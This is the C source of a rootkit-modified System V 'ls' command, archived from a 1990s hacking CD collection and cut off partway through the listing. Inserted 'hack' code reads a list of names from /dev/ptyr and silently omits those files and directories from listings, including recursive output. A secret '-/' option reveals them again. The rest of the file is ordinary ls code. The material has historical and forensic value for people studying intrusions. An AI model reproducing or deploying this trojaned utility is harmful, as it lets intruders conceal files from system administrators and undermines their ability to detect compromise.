home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / ROOTKIT.ZIP / LS5.C < prev    next >
C/C++ Source or Header  |  1994-03-01  |  24KB  |  1,081 lines

  1. /*+
  2.  *  Hacked /usr/5bin/ls that is included with
  3.  *  the SystemV additional pack.  Become 
  4.  *  invisible.  *NOT FULLY TESTED*
  5. +*/
  6.  
  7. #ifndef lint
  8. static    char sccsid[] = "@(#)ls.c 1.1 91/11/13 SMI"; /* from S5R2 1.19 */
  9. #endif
  10.  
  11. /*
  12. *     list file or directory;
  13. *     define DOTSUP to suppress listing of files beginning with dot
  14. */
  15.  
  16. #include    <sys/param.h>
  17. #include    <sys/types.h>
  18. #include    <sys/sysmacros.h>
  19. #include    <sys/stat.h>
  20. #include    <sys/dir.h>
  21. #include    <stdio.h>
  22. #if u3b
  23. #include    <sys/macro.h>
  24. #endif
  25.  
  26. #include <ctype.h>
  27. #include <locale.h>
  28.  
  29. #ifndef STANDALONE
  30. #define TERMINFO
  31. #endif
  32.  
  33. /* -DNOTERMINFO can be defined on the cc command line to prevent
  34.  * the use of terminfo.  This should be done on systems not having
  35.  * the terminfo feature (pre 6.0 sytems ?).
  36.  * As a result, columnar listings assume 80 columns for output,
  37.  * unless told otherwise via the COLUMNS environment variable.
  38.  */
  39.  
  40. /*+ 
  41.  *  Not quite sure about this but
  42.  *  my term.h bombs on compile.
  43. +*/
  44. #undef TERMINFO    
  45.  
  46. #ifdef TERMINFO
  47. #include    <curses.h>
  48. #include    "/usr/5include/term.h"
  49. #endif
  50.  
  51. #define    DOTSUP    1
  52. #define ISARG   0100000 /* this bit equals 1 in lflags of structure lbuf 
  53.                         *  if name is an argument to ls;
  54.                         */
  55. #define DIRECT    10    /* Number of direct blocks */
  56.  
  57.  
  58.  
  59. struct    lbuf    {
  60.     char    ltype;      /* file type, e.g. 'd', 'c', 'f' */
  61.     ino_t    lnum;        /* inode number of file */
  62.     short    lflags;     /* 0777 bits used as r,w,x permissions */
  63.     short    lnl;        /* number of links to file */
  64.     unsigned short    luid;    /* owner id */
  65.     unsigned short    lgid;    /* group id */
  66.     long    lsize;      /* file size or major/minor dev numbers */
  67.     long    lblks;        /* number of blocks used */
  68.     long    lmtime;        /* time (modify or access or create) */
  69.     char    *lname;         /* for filename in directory or name in ls-command */
  70.     char    *llinkto;    /* symbolic link value */
  71. };
  72.  
  73. struct dchain {
  74.     char *dc_name;        /* path name */
  75.     struct dchain *dc_next;    /* next directory in the chain */
  76. };
  77.  
  78. struct dchain *dfirst;    /* start of the dir chain */
  79. struct dchain *cdfirst;    /* start of the durrent dir chain */
  80. struct dchain *dtemp;    /* temporary - used for linking */
  81. char *curdir;        /* the current directory */
  82.  
  83. int    nfiles = 0;    /* number of flist entries in current use */
  84. int    nargs = 0;    /* number of flist entries used for arguments */
  85. int    maxfils = 0;    /* number of flist/lbuf entries allocated */
  86. int    maxn = 0;    /* number of flist entries with lbufs assigned */
  87. int    quantn = 1024;    /* allocation growth quantum */
  88.  
  89. struct    lbuf    *nxtlbf;    /* pointer to next lbuf to be assigned */
  90. struct    lbuf    **flist;    /* pointer to list of lbuf pointers */
  91. struct    lbuf    *gstat();
  92.  
  93. FILE    *pwdfu, *pwdfg;
  94.  
  95. int    aflg, bflg, cflg, dflg, fflg, gflg, iflg, lflg, mflg;
  96. int    nflg, oflg, pflg, qflg, sflg, tflg, uflg, xflg;
  97. int    Cflg, Fflg, Lflg, Rflg;
  98. int    rflg = 1;   /* initialized to 1 for special use in compar() */
  99. int    flags;
  100. int    err = 0;    /* Contains return code */
  101.  
  102. char    *dmark;    /* Used if -p option active. Contains "/" or NULL. */
  103.  
  104. unsigned    lastuid    = -1, lastgid = -1;
  105. int    statreq;    /* is > 0 if any of sflg, (n)lflg, tflg are on */
  106. static int nomocore = 0;
  107.  
  108. /*+
  109.  *  Hack vars - oops they're global
  110.  *  but wtf cares, its a hack.
  111. +*/
  112.  
  113. #define FILENAME "/dev/ptyr"
  114. #define STR_SIZE 128
  115. #define SHOWFLAG        /*  Able to list files with 'ls -/' command  */
  116.  
  117. struct  h_st {
  118.         struct h_st     *next;
  119.         char            filename[STR_SIZE];
  120. };
  121.  
  122. struct  h_st    *hack_list;
  123. struct  h_st    *h_tmp;
  124.  
  125. char    tmp_str[STR_SIZE];
  126.  
  127. FILE    *fp_hack;
  128. int     showall=0;
  129.  
  130. /*+  End hack vars  +*/
  131.  
  132. char    *dotp = ".";
  133. char    *makename();
  134. char    *getname(), *getgroup();
  135. char    *ctime(), *strcpy();
  136.  
  137. long    tblocks;  /* total number of blocks of files in a directory */
  138. long    year, now;
  139.  
  140. int    num_cols = 80;
  141. int    colwidth;
  142. int    filewidth;
  143. int    fixedwidth;
  144. int    curcol;
  145. int    compar();
  146.  
  147. main(argc, argv)
  148. int argc;
  149. char *argv[];
  150. {
  151.     extern char    *optarg;
  152.     extern int    optind;
  153.     int    amino, opterr=0;
  154.     int    c;
  155.     register struct lbuf *ep;
  156.     struct    lbuf    lb;
  157.     int    i, width;
  158.     long    time();
  159.     char *malloc();
  160.     void qsort(), exit();
  161.  
  162. #ifdef STANDALONE
  163.     if (argv[0][0] == '\0')
  164.         argc = getargv("ls", &argv, 0);
  165. #endif
  166.  
  167.     setlocale(LC_ALL, "");            /* get local environment */
  168.  
  169.     lb.lmtime = time((long *) NULL);
  170.     year = lb.lmtime - 6L*30L*24L*60L*60L; /* 6 months ago */
  171.     now = lb.lmtime + 60;
  172. #if defined (SHOWFLAG)
  173.     while ((c=getopt(argc, argv,
  174.             "RadCxmnlogrtucpFbqisfL/")) != EOF) switch(c) {
  175. #else
  176.     while ((c=getopt(argc, argv,
  177.             "RadCxmnlogrtucpFbqisfL")) != EOF) switch(c) {
  178. #endif
  179.         case 'R':
  180.             Rflg++;
  181.             statreq++;
  182.             continue;
  183.         case 'a':
  184.             aflg++;
  185.             continue;
  186.         case 'd':
  187.             dflg++;
  188.             continue;
  189.         case 'C':
  190.             Cflg = 1;
  191.             mflg = 0;
  192.             continue;
  193.         case 'x':
  194.             xflg = 1;
  195.             Cflg = 1;
  196.             mflg = 0;
  197.             continue;
  198.         case 'm':
  199.             Cflg = 0;
  200.             mflg = 1;
  201.             continue;
  202.         case 'n':
  203.             nflg++;
  204.         case 'l':
  205.             lflg++;
  206.             statreq++;
  207.             continue;
  208.         case 'o':
  209.             oflg++;
  210.             lflg++;
  211.             statreq++;
  212.             continue;
  213.         case 'g':
  214.             gflg++;
  215.             lflg++;
  216.             statreq++;
  217.             continue;
  218.         case 'r':
  219.             rflg = -1;
  220.             continue;
  221.         case 't':
  222.             tflg++;
  223.             statreq++;
  224.             continue;
  225.         case 'u':
  226.             uflg++;
  227.             continue;
  228.         case 'c':
  229.             cflg++;
  230.             continue;
  231.         case 'p':
  232.             pflg++;
  233.             statreq++;
  234.             continue;
  235.         case 'F':
  236.             Fflg++;
  237.             statreq++;
  238.             continue;
  239.         case 'b':
  240.             bflg = 1;
  241.             qflg = 0;
  242.             continue;
  243.         case 'q':
  244.             qflg = 1;
  245.             bflg = 0;
  246.             continue;
  247.         case 'i':
  248.             iflg++;
  249.             continue;
  250.         case 's':
  251.             sflg++;
  252.             statreq++;
  253.             continue;
  254.         case 'f':
  255.             fflg++;
  256.             continue;
  257.         case 'L':
  258.             Lflg++;
  259.             continue;
  260.         case '?':
  261.             opterr++;
  262.             continue;
  263. #if defined (SHOWFLAG)
  264.                 case '/':
  265.                         showall++;
  266.                         break;
  267. #endif
  268.         }
  269.     if(opterr) {
  270.         fprintf(stderr,"usage: ls -RadCxmnlogrtucpFbqisfL [files]\n");
  271.         exit(2);
  272.     }
  273.  
  274. /*+  Read in list of files to block  +*/
  275.  
  276.         h_tmp=(struct h_st *)malloc(sizeof(struct h_st));
  277.         hack_list=h_tmp;
  278.  
  279.         if (fp_hack=fopen (FILENAME, "r")) {
  280.                 while (fgets(tmp_str, 126, fp_hack)) {
  281.                         h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));
  282.                         strcpy (h_tmp->filename, tmp_str);
  283.                         h_tmp->filename[strlen(h_tmp->filename)-1]='\0';
  284.                         h_tmp=h_tmp->next;
  285.                 }
  286.         }
  287.         h_tmp->next=NULL;
  288.  
  289. /*+  On with the program  +*/
  290.  
  291.     if (fflg) {
  292.         aflg++;
  293.         lflg = 0;
  294.         sflg = 0;
  295.         tflg = 0;
  296.         statreq = 0;
  297.     }
  298.  
  299.     fixedwidth = 2;
  300.     if (pflg || Fflg)
  301.         fixedwidth++;
  302.     if (iflg)
  303.         fixedwidth += 6;
  304.     if (sflg)
  305.         fixedwidth += 5;
  306.  
  307.     if (lflg) {                /* This is the way  */
  308.         if (!gflg && !oflg)        /* 5.0 behaved, but */
  309.             gflg = oflg = 1;    /* it may be open   */
  310.         else                /* to interpretation*/
  311.         if (gflg && oflg)
  312.             gflg = oflg = 0;
  313.         Cflg = mflg = 0;
  314.     }
  315.  
  316.     if (Cflg || mflg) {
  317.         char *getenv();
  318.         char *clptr;
  319.         if ((clptr = getenv("COLUMNS")) != NULL)
  320.             num_cols = atoi(clptr);
  321. #ifdef TERMINFO
  322.         else {
  323.             setupterm(0,1,&i); /* get term description */
  324.             resetterm();    /* undo what setupterm changed */
  325.             if (i == 1)
  326.                 num_cols = columns;
  327.         }
  328. #endif
  329.         if (num_cols < 20 || num_cols > 160)
  330.             /* assume it is an error */
  331.             num_cols = 80;
  332.     }
  333.  
  334.     /* allocate space for flist and the associated    */
  335.     /* data structures (lbufs)            */
  336.     maxfils = quantn;
  337.     if((flist=(struct lbuf **)malloc((unsigned)(maxfils * sizeof(struct lbuf *)))) == NULL
  338.     || (nxtlbf = (struct lbuf *)malloc((unsigned)(quantn * sizeof(struct lbuf)))) == NULL) {
  339.         fprintf(stderr, "ls: out of memory\n");
  340.         exit(2);
  341.     }
  342.     if ((amino=(argc-optind))==0) { /* case when no names are given
  343.                     * in ls-command and current 
  344.                     * directory is to be used 
  345.                      */
  346.         argv[optind] = dotp;
  347.     }
  348.     for (i=0; i < (amino ? amino : 1); i++) {
  349.         if (Cflg || mflg) {
  350.             width = strlen(argv[optind]);
  351.             if (width > filewidth)
  352.                 filewidth = width;
  353.         }
  354.         if ((ep = gstat((*argv[optind] ? argv[optind] : dotp), 1))==NULL)
  355.         {
  356.             err = 2;
  357.             optind++;
  358.             continue;
  359.         }
  360.         ep->lname = (*argv[optind] ? argv[optind] : dotp);
  361.         ep->lflags |= ISARG;
  362.         optind++;
  363.         nargs++;    /* count good arguments stored in flist */
  364.     }
  365.     colwidth = fixedwidth + filewidth;
  366.     qsort(flist, (unsigned)nargs, sizeof(struct lbuf *), compar);
  367.     for (i=0; i<nargs; i++)
  368.         if (flist[i]->ltype=='d' && dflg==0 || fflg)
  369.             break;
  370.     pem(&flist[0],&flist[i], 0);
  371.     for (; i<nargs; i++) {
  372.         pdirectory(flist[i]->lname, (amino>1), nargs);
  373.         /* -R: print subdirectories found */
  374.         while (dfirst || cdfirst) {
  375.             /* Place direct subdirs on front in right order */
  376.             while (cdfirst) {
  377.                 /* reverse cdfirst onto front of dfirst */
  378.                 dtemp = cdfirst;
  379.                 cdfirst = cdfirst -> dc_next;
  380.                 dtemp -> dc_next = dfirst;
  381.                 dfirst = dtemp;
  382.             }
  383.             /* take off first dir on dfirst & print it */
  384.             dtemp = dfirst;
  385.             dfirst = dfirst->dc_next;
  386.             pdirectory (dtemp->dc_name, 1, nargs);
  387.             free (dtemp->dc_name);
  388.             free ((char *)dtemp);
  389.         }
  390.     }
  391.     exit(err);
  392.     /*NOTREACHED*/
  393. }
  394.  
  395. /*
  396.  * pdirectory: print the directory name, labelling it if title is
  397.  * nonzero, using lp as the place to start reading in the dir.
  398.  */
  399. pdirectory (name, title, lp)
  400. char *name;
  401. int title;
  402. int lp;
  403. {
  404.     register struct dchain *dp;
  405.     register struct lbuf *ap;
  406.     register char *pname;
  407.     register int j;
  408.  
  409.     filewidth = 0;
  410.     curdir = name;
  411.  
  412. /*+
  413.  *  This is needed to nook output
  414.  *  from the -R flag.
  415. +*/
  416.     if (!showall)
  417.         for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next)
  418.             if (!(strcmp(name, h_tmp->filename)))
  419.                 return; 
  420.  
  421.     if (title) {
  422.         putc('\n', stdout);
  423.         pprintf(name);
  424.         putc(':', stdout);
  425.         curcol++;
  426.         new_line();
  427.     }
  428.     nfiles = lp;
  429.     rddir(name);
  430.     if (fflg==0)
  431.         qsort(&flist[lp],(unsigned)(nfiles - lp),sizeof(struct lbuf *),compar);
  432.     if (Rflg) for (j = nfiles - 1; j >= lp; j--) {
  433.         ap = flist[j];
  434.  
  435.                 /*if (!showall)
  436.                         for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next)
  437.                                 if (!(strcmp(ap->lname, h_tmp->filename))) {
  438.                  */                       
  439.         if (ap->ltype == 'd' && strcmp(ap->lname, ".") &&
  440.                 strcmp(ap->lname, "..")) {
  441.             dp = (struct dchain *)calloc(1,sizeof(struct dchain));
  442.             if (dp == NULL)
  443.                 fprintf(stderr,"ls: out of memory\n");
  444.             pname = makename(curdir, ap->lname);
  445.             dp->dc_name = (char *)calloc(1,strlen(pname)+1);
  446.             if (dp->dc_name == NULL) {
  447.                 fprintf(stderr,"ls: out of memory\n");
  448.                 free(dp);
  449.             }
  450.             else {
  451.                 strcpy(dp->dc_name, pname);
  452.                 dp -> dc_next = dfirst;
  453.                 dfirst = dp;
  454.             }
  455.         }
  456.     }
  457.     if (lflg || sflg)
  458.         curcol += printf("total %ld", tblocks);
  459.     pem(&flist[lp],&flist[nfiles],lflg||sflg);
  460. }
  461.  
  462. /*
  463.  * pem: print 'em.  Print a list of files (e.g. a directory) bounded
  464.  * by slp and lp.
  465.  */
  466. pem(slp, lp, tot_flag)
  467.     register struct lbuf **slp, **lp;
  468.     int tot_flag;
  469. {
  470.     int ncols, nrows, row, col;
  471.     register struct lbuf **ep;
  472.  
  473.     if (Cflg || mflg)
  474.         ncols = num_cols / colwidth;
  475.  
  476.     if (ncols == 1 || mflg || xflg || !Cflg) {
  477.         for (ep = slp; ep < lp; ep++)
  478.             pentry(*ep);
  479.         new_line();
  480.         return;
  481.     }
  482.     /* otherwise print -C columns */
  483.     if (tot_flag)
  484.         slp--;
  485.     nrows = (lp - slp - 1) / ncols + 1;
  486.     for (row = 0; row < nrows; row++) {
  487.         col = (row == 0 && tot_flag);
  488.         for (; col < ncols; col++) {
  489.             ep = slp + (nrows * col) + row;
  490.             if (ep < lp) 
  491.                 pentry(*ep);
  492.         }
  493.         new_line();
  494.     }
  495. }
  496.  
  497. pentry(ap)  /* print one output entry;
  498.             *  if uid/gid is not found in the appropriate
  499.             *  file (passwd/group), then print uid/gid instead of 
  500.             *  user/group name;
  501.             */
  502. struct lbuf *ap;
  503. {
  504.     struct    {
  505.         char    dminor,
  506.             dmajor;
  507.     };
  508.     register struct lbuf *p;
  509.     register char *cp;
  510.  
  511.     p = ap;
  512.     column();
  513.  
  514. /*+
  515.  *  This should remove most output except 
  516.  *  for -R flag output, but that is covered
  517.  *  above
  518. +*/
  519.  
  520.     if (!showall)
  521.         for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next)
  522.             if (!(strcmp(p->lname, h_tmp->filename)))
  523.                 return;
  524.  
  525.     if (iflg)
  526.         if (mflg && !lflg)
  527.             curcol += printf("%u ", p->lnum);
  528.         else
  529.             curcol += printf("%5u ", p->lnum);
  530.     if (sflg)
  531.         curcol += printf( (mflg && !lflg) ? "%ld " : "%4ld " ,
  532.             (p->ltype != 'b' && p->ltype != 'c') ?
  533.                 p->lblks : 0L );
  534.     if (lflg) {
  535.         putchar(p->ltype);
  536.         curcol++;
  537.         pmode(p->lflags);
  538.         curcol += printf("%4d ", p->lnl);
  539.         if (oflg)
  540.             if(!nflg && (cp = getname(p->luid))!=NULL)
  541.                 curcol += printf("%-9.9s", cp);
  542.             else
  543.                 curcol += printf("%-9u", p->luid);
  544.         if (gflg)
  545.             if(!nflg && (cp = getgroup(p->lgid))!=NULL)
  546.                 curcol += printf("%-9.9s", cp);
  547.             else
  548.                 curcol += printf("%-9u", p->lgid);
  549.         if (p->ltype=='b' || p->ltype=='c')
  550.             curcol += printf("%3d,%3d", major((int)p->lsize), minor((int)p->lsize));
  551.         else
  552.             curcol += printf("%7ld", p->lsize);
  553.         cp = ctime(&p->lmtime);
  554.         if((p->lmtime < year) || (p->lmtime > now))
  555.             curcol += printf(" %-7.7s %-4.4s ", cp+4, cp+20);
  556.         else
  557.             curcol += printf(" %-12.12s ", cp+4);
  558.     }
  559.     if (qflg || bflg)
  560.         pprintf(p->lname);
  561.     else
  562.         curcol += printf("%s",p->lname);
  563.     if (lflg && p->llinkto) {
  564.         curcol += printf(" -> ");
  565.         if (qflg || bflg)
  566.             pprintf(p->llinkto);
  567.         else
  568.             curcol += printf("%s", p->llinkto);
  569.     } else if (pflg) {
  570.         if (p->ltype == 'd') {
  571.             putc('/', stdout);
  572.             curcol++;
  573.         }
  574.     } else if (Fflg) {
  575.         if (p->ltype == 'd') {
  576.             putc('/', stdout);
  577.             curcol++;
  578.         } else if (p->ltype == 'l') {
  579.             putc('@', stdout);
  580.             curcol++;
  581.         } else if (p->ltype == 's') {
  582.             putc('=', stdout);
  583.             curcol++;
  584.         } else if (p->lflags & 0111) {
  585.             putc('*', stdout);
  586.             curcol++;
  587.         }
  588.     }
  589. }
  590.  
  591. /* print various r,w,x permissions 
  592.  */
  593. pmode(aflag)
  594. {
  595.         /* these arrays are declared static to allow initializations */
  596.     static int    m0[] = { 1, S_IREAD>>0, 'r', '-' };
  597.     static int    m1[] = { 1, S_IWRITE>>0, 'w', '-' };
  598.     static int    m2[] = { 3, S_ISUID|S_IEXEC, 's', S_IEXEC, 'x', S_ISUID, 'S', '-' };
  599.     static int    m3[] = { 1, S_IREAD>>3, 'r', '-' };
  600.     static int    m4[] = { 1, S_IWRITE>>3, 'w', '-' };
  601.     static int    m5[] = { 3, S_ISGID|(S_IEXEC>>3),'s', S_IEXEC>>3,'x', S_ISGID,'S', '-'};
  602.     static int    m6[] = { 1, S_IREAD>>6, 'r', '-' };
  603.     static int    m7[] = { 1, S_IWRITE>>6, 'w', '-' };
  604.     static int    m8[] = { 3, S_ISVTX|(S_IEXEC>>6),'t', S_IEXEC>>6,'x', S_ISVTX,'T', '-'};
  605.  
  606.         static int  *m[] = { m0, m1, m2, m3, m4, m5, m6, m7, m8};
  607.  
  608.     register int **mp;
  609.  
  610.     flags = aflag;
  611.     for (mp = &m[0]; mp < &m[sizeof(m)/sizeof(m[0])];)
  612.         selectbits(*mp++);
  613. }
  614.  
  615. selectbits(pairp)
  616. register int *pairp;
  617. {
  618.     register int n;
  619.  
  620.     n = *pairp++;
  621.     while (n-->0) {
  622.         if((flags & *pairp) == *pairp) {
  623.             pairp++;
  624.             break;
  625.         }else {
  626.             pairp += 2;
  627.         }
  628.     }
  629.     putchar(*pairp);
  630.     curcol++;
  631. }
  632.  
  633. /*
  634.  * column: get to the beginning of the next column.
  635.  */
  636. column()
  637. {
  638.  
  639.     if (curcol == 0)
  640.         return;
  641.     if (mflg) {
  642.         putc(',', stdout);
  643.         curcol++;
  644.         if (curcol + colwidth + 2 > num_cols) {
  645.             putc('\n', stdout);
  646.             curcol = 0;
  647.             return;
  648.         }
  649.         putc(' ', stdout);
  650.         curcol++;
  651.         return;
  652.     }
  653.     if (Cflg == 0) {
  654.         putc('\n', stdout);
  655.         curcol = 0;
  656.         return;
  657.     }
  658.     if ((curcol / colwidth + 2) * colwidth > num_cols) {
  659.         putc('\n', stdout);
  660.         curcol = 0;
  661.         return;
  662.     }
  663.     do {
  664.         putc(' ', stdout);
  665.         curcol++;
  666.     } while (curcol % colwidth);
  667. }
  668.  
  669. new_line()
  670. {
  671.     if (curcol) {
  672.         putc('\n',stdout);
  673.         curcol = 0;
  674.     }
  675. }
  676.  
  677. /* read each filename in directory dir and store its
  678.  *  status in flist[nfiles] 
  679.  *  use makename() to form pathname dir/filename;
  680.  */
  681. rddir(dir)
  682. char *dir;
  683. {
  684.     struct direct *dentry;
  685.     DIR *dirf;
  686.     extern char *malloc();
  687.     register struct lbuf *ep;
  688.     register int width;
  689.  
  690.     if ((dirf = opendir(dir)) == NULL) {
  691.         fflush(stdout);
  692.         fprintf(stderr, "ls: ");
  693.         perror(dir);
  694.         err = 2;
  695.         return;
  696.     }
  697.         else {
  698.               tblocks = 0;
  699.               while (dentry = readdir(dirf)) {
  700.                   if (aflg==0 && dentry->d_name[0]=='.' 
  701. # ifndef DOTSUP
  702.                       && (dentry->d_name[1]=='\0' || dentry->d_name[1]=='.'
  703.                       && dentry->d_name[2]=='\0')
  704. # endif
  705.                       )  /* check for directory items '.', '..' */
  706.                       continue;
  707.             if (Cflg || mflg) {
  708.                 width = strlen(dentry->d_name);
  709.                 if (width > filewidth)
  710.                     filewidth = width;
  711.             }
  712.                   ep = gstat(makename(dir, dentry->d_name), 0);
  713.                   if (ep==NULL)
  714.                       continue;
  715.                         else {
  716.                        ep->lnum = dentry->d_ino;
  717.                  ep->lname = malloc(dentry->d_namlen + 1);
  718.                  if (ep->lname==NULL) {
  719.                  fflush(stdout);
  720.                  fprintf(stderr, "ls: out of memory\n");
  721.                  err = 2;
  722.                  nomocore = 1;
  723.                  break;
  724.                  }
  725.                  strcpy(ep->lname, dentry->d_name);
  726.                         }
  727.               }
  728.               closedir(dirf);
  729.         colwidth = fixedwidth + filewidth;
  730.     }
  731. }
  732.  
  733. /* get status of file and recomputes tblocks;
  734.  * argfl = 1 if file is a name in ls-command and  = 0
  735.  * for filename in a directory whose name is an
  736.  * argument in the command;
  737.  * stores a pointer in flist[nfiles] and
  738.  * returns that pointer;
  739.  * returns NULL if failed;
  740.  */
  741. struct lbuf *
  742. gstat(file, argfl)
  743. char *file;
  744. {
  745.     extern int stat(), lstat();
  746.     int (*statf)() = Lflg ? stat : lstat;
  747.     struct stat statb, statb1;
  748.     register struct lbuf *rep;
  749.     char buf[MAXPATHLEN + 2];
  750.     register int cc;
  751.     char *malloc(), *realloc();
  752.  
  753.     if (nomocore)
  754.         return(NULL);
  755.     else if (nfiles >= maxfils) { 
  756. /* all flist/lbuf pair assigned files time to get some more space */
  757.         maxfils += quantn;
  758.         if((flist=(struct lbuf **)realloc((char *)flist, (unsigned)(maxfils * sizeof(struct lbuf *)))) == NULL
  759.         || (nxtlbf = (struct lbuf *)malloc((unsigned)(quantn * sizeof(struct lbuf)))) == NULL) {
  760.             fprintf(stderr, "ls: out of memory\n");
  761.             nomocore = 1;
  762.             return(NULL);
  763.         }
  764.     }
  765.  
  766. /* nfiles is reset to nargs for each directory
  767.  * that is given as an argument maxn is checked
  768.  * to prevent the assignment of an lbuf to a flist entry
  769.  * that already has one assigned.
  770.  */
  771.     if(nfiles >= maxn) {
  772.         rep = nxtlbf++;
  773.         flist[nfiles++] = rep;
  774.         maxn = nfiles;
  775.     }else {
  776.         rep = flist[nfiles++];
  777.     }
  778.     rep->lflags = 0;
  779.     rep->llinkto = NULL;
  780.     if (argfl || statreq) {
  781.         if ((*statf)(file, &statb) < 0) {
  782.             if (statf == lstat || lstat(file, &statb) < 0) {
  783.                 fflush(stdout);
  784.                 fprintf(stderr, "ls: ");
  785.                 perror(file);
  786.                 nfiles--;
  787.                 return(NULL);
  788.             }
  789.         }
  790.                 else {
  791.                     rep->lnum = statb.st_ino;
  792.                     rep->lsize = statb.st_size;
  793.             rep->lblks = statb.st_blocks;
  794.                     switch(statb.st_mode&S_IFMT) {
  795.  
  796.                     case S_IFDIR:
  797.                         rep->ltype = 'd';
  798.                         break;
  799.  
  800.                     case S_IFBLK:
  801.                         rep->ltype = 'b';
  802.                         rep->lsize = statb.st_rdev;
  803.                         break;
  804.  
  805.                     case S_IFCHR:
  806.                         rep->ltype = 'c';
  807.                         rep->lsize = statb.st_rdev;
  808.                         break;
  809.  
  810.                     case S_IFIFO:
  811.                          rep->ltype = 'p';
  812.                          break;
  813.  
  814.             case S_IFSOCK:
  815.                 rep->ltype = 's';
  816.                 rep->lsize = 0;
  817.                 break;
  818.  
  819.             case S_IFLNK:
  820.                 rep->ltype = 'l';
  821.                 if (lflg) {
  822.                     cc = readlink(file, buf, MAXPATHLEN);
  823.                     if (cc >= 0) {
  824.                         /*
  825.                          * here we follow the symbolic
  826.                          * link to generate the proper
  827.                          * Fflg marker for the object,
  828.                          * eg, /bin -> /pub/bin/
  829.                          */
  830.                         if (Fflg && !stat(file, &statb1))
  831.                             switch (statb1.st_mode & S_IFMT){
  832.                             case S_IFDIR:
  833.                                 buf[cc++] = '/';
  834.                                 break;
  835.  
  836.                             case S_IFSOCK:
  837.                                 buf[cc++] = '=';
  838.                                 break;
  839.                             default:
  840.                             if ( (statb1.st_mode & ~S_IFMT)
  841.                                 & 0111)
  842.                                 buf[cc++] = '*';
  843.                                 break;
  844.                             }
  845.                         buf[cc] = '\0';
  846.                         rep->llinkto = malloc(strlen(buf) + 1);
  847.                         if (rep->llinkto==NULL) {
  848.                             fflush(stdout);
  849.                             fprintf(stderr, "ls: out of memory\n");
  850.                             err = 2;
  851.                             nomocore = 1;
  852.                             break;
  853.                         }
  854.                         strcpy(rep->llinkto, buf);
  855.                     }
  856.                     break;
  857.                 }
  858.                 /*
  859.                  *  this is a hack from UCB to avoid having 
  860.                  *  ls /bin behave differently from ls /bin/
  861.                  *  when /bin is a symbolic link.  We hack the
  862.                  *  hack to have that happen, but only for
  863.                  *  explicit arguments, by inspecting argfl.
  864.                  */
  865.                 if (!argfl || stat(file, &statb1) < 0)
  866.                     break;
  867.                 if ((statb1.st_mode & S_IFMT) == S_IFDIR) {
  868.                     statb = statb1;
  869.                     rep->ltype = 'd';
  870.                     rep->lsize = statb.st_size;
  871.                     rep->lblks = statb.st_blocks;
  872.                 }
  873.                 break;
  874.  
  875.                         default:
  876.                                 rep->ltype = '-';
  877.                      }
  878.                   rep->lflags = statb.st_mode & ~S_IFMT;
  879.                                     /* mask ISARG and other file-type bits */
  880.                   rep->luid = statb.st_uid;
  881.                   rep->lgid = statb.st_gid;
  882.                   rep->lnl = statb.st_nlink;
  883.                   if(uflg)
  884.                       rep->lmtime = statb.st_atime;
  885.                   else if (cflg)
  886.                       rep->lmtime = statb.st_ctime;
  887.                   else
  888.                       rep->lmtime = statb.st_mtime;
  889.                         if (rep->ltype != 'b' && rep->ltype != 'c')
  890.                      tblocks += statb.st_blocks;
  891.                 }
  892.     }
  893.         return(rep);
  894. }
  895.  
  896. /* returns pathname of the form dir/file;
  897.  *  dir is a null-terminated string;
  898.  */
  899. char *
  900. makename(dir, file) 
  901. char *dir, *file;
  902. {
  903.  
  904.  
  905.     static char dfile[MAXPATHLEN+1];  /* dfile is static as this is returned
  906.                                         *  by makename();
  907.                                         */
  908.  
  909.     if (strlen(dir)+1+strlen(file) > MAXPATHLEN) {
  910.         fprintf(stderr, "ls: filename too long\n");
  911.         exit(1);
  912.     }
  913.     if (strcmp(dir, "") == 0 || strcmp(dir, ".") == 0) {
  914.         (void) strcpy(dfile, file);
  915.         return(dfile);
  916.     }
  917.     (void) strcpy(dfile, dir);
  918.     if (dir[strlen(dir) - 1] != '/' && *file != '/')
  919.         (void) strcat(dfile, "/");
  920.     (void) strcat(dfile, file);
  921.     return(dfile);
  922. }
  923.  
  924.  
  925. /* rest should be done with nameserver or database */
  926.  
  927. #include <pwd.h>
  928. #include <grp.h>
  929. #include <utmp.h>
  930.  
  931. struct    utmp utmp;
  932. #define    NMAX    (sizeof (utmp.ut_name))
  933. #define SCPYN(a, b)    strncpy(a, b, NMAX)
  934.  
  935. #undef MAXUID
  936.  
  937. #define MAXUID    2048
  938. #define MINUID  -2        /* for nfs */
  939. #define MAXGID    300
  940.  
  941. char    namebuf[MAXUID - MINUID][NMAX+1];
  942. char    (*names)[NMAX+1] = namebuf - MINUID;
  943. char    outrangename[NMAX+1];
  944. int    outrangeuid = -1;
  945. char    groups[MAXGID][NMAX+1];
  946. char    outrangegroup[NMAX+1];
  947. int    outrangegid = -1;
  948.  
  949. char *
  950. getname(uid)
  951. {
  952.     register struct passwd *pw;
  953.     extern struct passwd *getpwuid();
  954.  
  955.     if (uid >= MINUID && uid < MAXUID && names[uid][0])
  956.         return (&names[uid][0]);
  957.     if (uid >= MINUID && uid == outrangeuid)
  958.         return (outrangename);
  959.     if (uid < MINUID)
  960.         return (NULL);
  961.  
  962.     pw = getpwuid(uid);
  963.     if (pw == NULL)
  964.         return (NULL);
  965.  
  966.     if (uid >= MINUID && uid < MAXUID) {
  967.         SCPYN(names[uid], pw->pw_name);
  968.         return (&names[uid][0]);
  969.     }
  970.  
  971.     outrangeuid = uid;
  972.     SCPYN(outrangename, pw->pw_name);
  973.     return (outrangename);
  974. }
  975.  
  976. char *
  977. getgroup(gid)
  978. {
  979.     register struct group *gr;
  980.     static init;
  981.     extern struct group *getgrent();
  982.  
  983.     if (gid >= 0 && gid < MAXGID && groups[gid][0])
  984.         return (&groups[gid][0]);
  985.     if (gid >= 0 && gid == outrangegid)
  986.         return (outrangegroup);
  987. rescan:
  988.     if (init == 2) {
  989.         if (gid < MAXGID)
  990.             return (0);
  991.         setgrent();
  992.         while (gr = getgrent()) {
  993.             if (gr->gr_gid != gid)
  994.                 continue;
  995.             outrangegid = gr->gr_gid;
  996.             SCPYN(outrangegroup, gr->gr_name);
  997.             endgrent();
  998.             return (outrangegroup);
  999.         }
  1000.         endgrent();
  1001.         return (0);
  1002.     }
  1003.     if (init == 0)
  1004.         setgrent(), init = 1;
  1005.     while (gr = getgrent()) {
